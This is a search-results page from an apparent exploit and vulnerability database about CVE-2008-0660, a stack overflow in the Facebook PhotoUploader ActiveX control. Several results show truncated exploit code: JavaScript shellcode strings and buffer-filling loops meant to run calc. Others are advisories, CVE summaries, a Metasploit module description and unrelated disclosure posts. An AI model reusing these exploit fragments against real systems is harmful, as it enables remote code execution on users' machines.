3918 matches found
FaceBook PhotoUploader 5.0.14.0 - Remote Buffer Overflow
var shellcode = unescape"%u0D0D%u0D0D%u9090%u9090"+ //Windows Execute Command calc "%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b"+ "%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca"+ "%uc201%uf4eb%u543b%u0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b"+...
facebookexp-overflow.txt
var shellcode = unescape"%u0D0D%u0D0D%u9090%u9090"+ //Windows Execute Command calc "%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b"+ "%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca"+ "%uc201%uf4eb%u543b%u0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b"+...
FaceBook PhotoUploader <= 5.0.14.0 Remote Buffer Overflow Exploit
Exploit for unknown platform in category remote exploits ================================================================= FaceBook PhotoUploader var shellcode = unescape"%u0D0D%u0D0D%u9090%u9090"+ //Windows Execute Command calc "%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b"+...
DSquare Exploit Pack: D2SEC_FACEBOOK
Name| d2secfacebook ---|--- CVE| CVE-2008-0660 Exploit Pack| D2ExploitPack Description| Facebook Photo Uploader 4 ImageUploader4.1.ocx ActiveX Stack Overflow Notes|...
Stack overflow
Multiple stack-based buffer overflows in Aurigma Image Uploader ActiveX control ImageUploader4.ocx 4.6.17.0, 4.5.70.0, and 4.5.126.0, and ImageUploader5 5.0.10.0, as used by Facebook PhotoUploader 4.5.57.0, allow remote attackers to execute arbitrary code via long 1 ExtractExif and 2 ExtractIptc...
CVE-2008-0660
The CVE-2008-0660 vulnerability affects the Aurigma Image Uploader ActiveX control (ImageUploader4.ocx: 4.6.17.0, 4.5.70.0, 4.5.126.0 and ImageUploader5: 5.0.10.0) as used by Facebook PhotoUploader 4.5.57.0. It is caused by stack-based buffer overflows in the ExtractExif and ExtractIptc propertie...
CVE-2008-0660: Improper Restriction of Operations within the Bounds of a Memory Buffer
Multiple stack-based buffer overflows in Aurigma Image Uploader ActiveX control ImageUploader4.ocx 4.6.17.0, 4.5.70.0, and 4.5.126.0, and ImageUploader5 5.0.10.0, as used by Facebook PhotoUploader 4.5.57.0, allow remote attackers to execute arbitrary code via long 1 ExtractExif and 2 ExtractIptc...
[Full-disclosure] FaceBook/Aurigma Image/PhotoUploader Buffer Overflow
Who: FaceBook http://www.facebook.com Aurigma http://www.aurigma.com What: FaceBook uses Aurigma's ImageUploader control. This control enables users to upload photos to FaceBook. How: Please note that this vulnerability is DIFFERENT than the one that I previously posted. This also affects the sto...
FaceBook PhotoUploader (ImageUploader4.ocx 4.5.57.0) BOF Exploit
No description provided by source. !-- FaceBook PhotoUploader Buffer Overflow Exploit written by e.b. Tested on Windows XP SP2fully patched English, IE6, ImageUploader4.ocx 4.5.57.0FaceBookPhotoUploader2.cab The following controls are also vulnerable: Aurigma ImageUploader4 4.5.70.0 and 4.5.126.0...
Facebook Photo Uploader ActiveX Control < 4.5.57.1 Multiple Buffer Overflows
The remote host contains a version of the Facebook Photo Uploader ActiveX control that reportedly is affected by multiple buffer overflows involving, for example, long arguments to the control's 'ExtractExif', 'ExtractIptc', and 'FileMask' properties. If a remote attacker can trick a user on the...
facebook-overflow.txt
FaceBook PhotoUploader Buffer Overflow Exploit function Check var buf = unescape"%u4141"; while buf.length = 261 buf = buf + unescape"%u4141"; // win32exec - EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com var shellcode1 =...
FaceBook PhotoUploader (ImageUploader4.ocx 4.5.57.0) BOF Exploit
Exploit for unknown platform in category remote exploits ================================================================ FaceBook PhotoUploader ImageUploader4.ocx 4.5.57.0 BOF Exploit ================================================================ FaceBook PhotoUploader Buffer Overflow Exploit...
FaceBook PhotoUploader - ImageUploader4.ocx 4.5.57.0 Remote Buffer Overflow
FaceBook PhotoUploader - ImageUploader4.ocx 4.5.57.0 Remote Buffer Overflow FaceBook PhotoUploader Buffer Overflow Exploit function Check var buf = unescape"%u4141"; while buf.length = 261 buf = buf + unescape"%u4141"; // win32exec - EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378...
FaceBook PhotoUploader - 'ImageUploader4.ocx 4.5.57.0' Remote Buffer Overflow
FaceBook PhotoUploader Buffer Overflow Exploit function Check var buf = unescape"%u4141"; while buf.length = 261 buf = buf + unescape"%u4141"; // win32exec - EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com var shellcode1 =...
Facebook Photo Uploader 4 ActiveX Control Buffer Overflow
This module exploits a stack buffer overflow in Facebook Photo Uploader 4. By sending an overly long string to the "ExtractIptc" property located in the ImageUploader4.ocx 4.5.57.0 Control, an attacker may be able to execute arbitrary code. Module Options msf use...
Some more widgets: Facebook, Hockey, FlickrInterestingNess (Re: [MacOS X] Insecure eval() in Twitgit and Twitterlex dashboard widgets)
This is a follow-up to 0 and 1. Last night, I wrote: It would probably be an interesting exercise to go through some more dashboard widgets and grep for eval. I'd bet quite a bit that there's much more out there. - The top-50 facebook widget 2 uses the AllowFullAccess configuration option, which...
[Full-disclosure] New Vulnerability against Firefox/ Major Extensions
This information also posted with html link goodness to http://paranoia.dubfire.net/2007/05/remote-vulnerability-in-firefox.html -------------------------- Executive Summary -------------------------- A vulnerability exists in the upgrade mechanism used by a number of high profile Firefox...
